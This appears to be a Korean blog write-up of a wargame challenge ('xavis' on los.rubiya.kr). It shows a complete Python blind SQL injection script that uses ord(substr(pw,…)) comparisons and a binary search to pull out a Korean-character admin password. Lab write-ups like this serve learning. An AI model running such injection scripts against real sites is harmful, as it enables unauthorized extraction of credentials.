반응형
분석
보아하니 브루트포싱 문제군요
pw만 받는데
regex, like 막히고 끝?..
이번엔 8에서 안되니 여기서부터 브루트 포싱을 해봅시다.
12로 찾았습니다.
풀이
코드를 이렇게 동작시켰는데 먹히는 문자가 없습니다.
혹시 한글 비밀번호라고 한 것이 이건가 싶어서 일단
https://velog.io/@devp1023/%EC%9C%A0%EB%8B%88%EC%BD%94%EB%93%9C%EB%9E%80
한글을 나타내는 유니코드에 대해서 찾아봅니다.
유니코드는 17개의 평면(0x0 ~ 0x10)으로 구성되고
2byte로 문자를 표현합니다.
https://qhrhksgkazz.tistory.com/208
또한 mysql 에서 ord와 ascii의 차이점으로
멀티바이트 문자에 대해서는 ord를 사용해야 합니다.
그렇게 선형탐색을 하자니 느려서 이진탐색으로 해봅시다.
패스워드는 우왕굳이고 뒤는 모두 null로 나옵니다.
import requests
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?"
cookie = {'PHPSESSID':'쿠킈'}
# for i in range(1, 30) :
# query = 'pw=\' or id=\'admin\' and length(pw)={}%23'.format(i)
# print(query)
# req = requests.get(url+query, cookies=cookie)
# if('Hello admin' in req.text) :
# print('find:',i)
# break
length = 12
pw = ''
for i in range(1, length+1) :
high = 0xffff+1
low = 0x0
while(low <= high) :
mid = (high+low)//2
#equal
query = 'pw=\' or id=\'admin\' and ord(substr(pw,{},1))={}%23'.format(i, mid)
print(query, 'find:',pw)
req = requests.get(url+query, cookies=cookie)
if('Hello admin' in req.text) :
pw += chr(mid)
break
#smaller
query = 'pw=\' or id=\'admin\' and ord(substr(pw,{},1))>{}%23'.format(i, mid)
print(query, 'find:',pw)
req = requests.get(url+query, cookies=cookie)
if('Hello admin' in req.text) :
low = mid+1
continue
#bigger
query = 'pw=\' or id=\'admin\' and ord(substr(pw,{},1))<{}%23'.format(i, mid)
print(query, 'find:',pw)
req = requests.get(url+query, cookies=cookie)
if('Hello admin' in req.text) :
high = mid-1
continue
print('res:',pw)
코드를 작성하는데 있어서 최근에 백준 이진탐색을 풀어봐서 다행이었고..
low < high 라고 조건을 걸었다가
다시 low <= high라고 거니까 이제야 나오네요.
2byte로 unicode를 사용하므로 0xffff를 high, low를 0으로 잡았습니다.
아니 뭔 패스워드가.. 어쨌든 클리어
반응형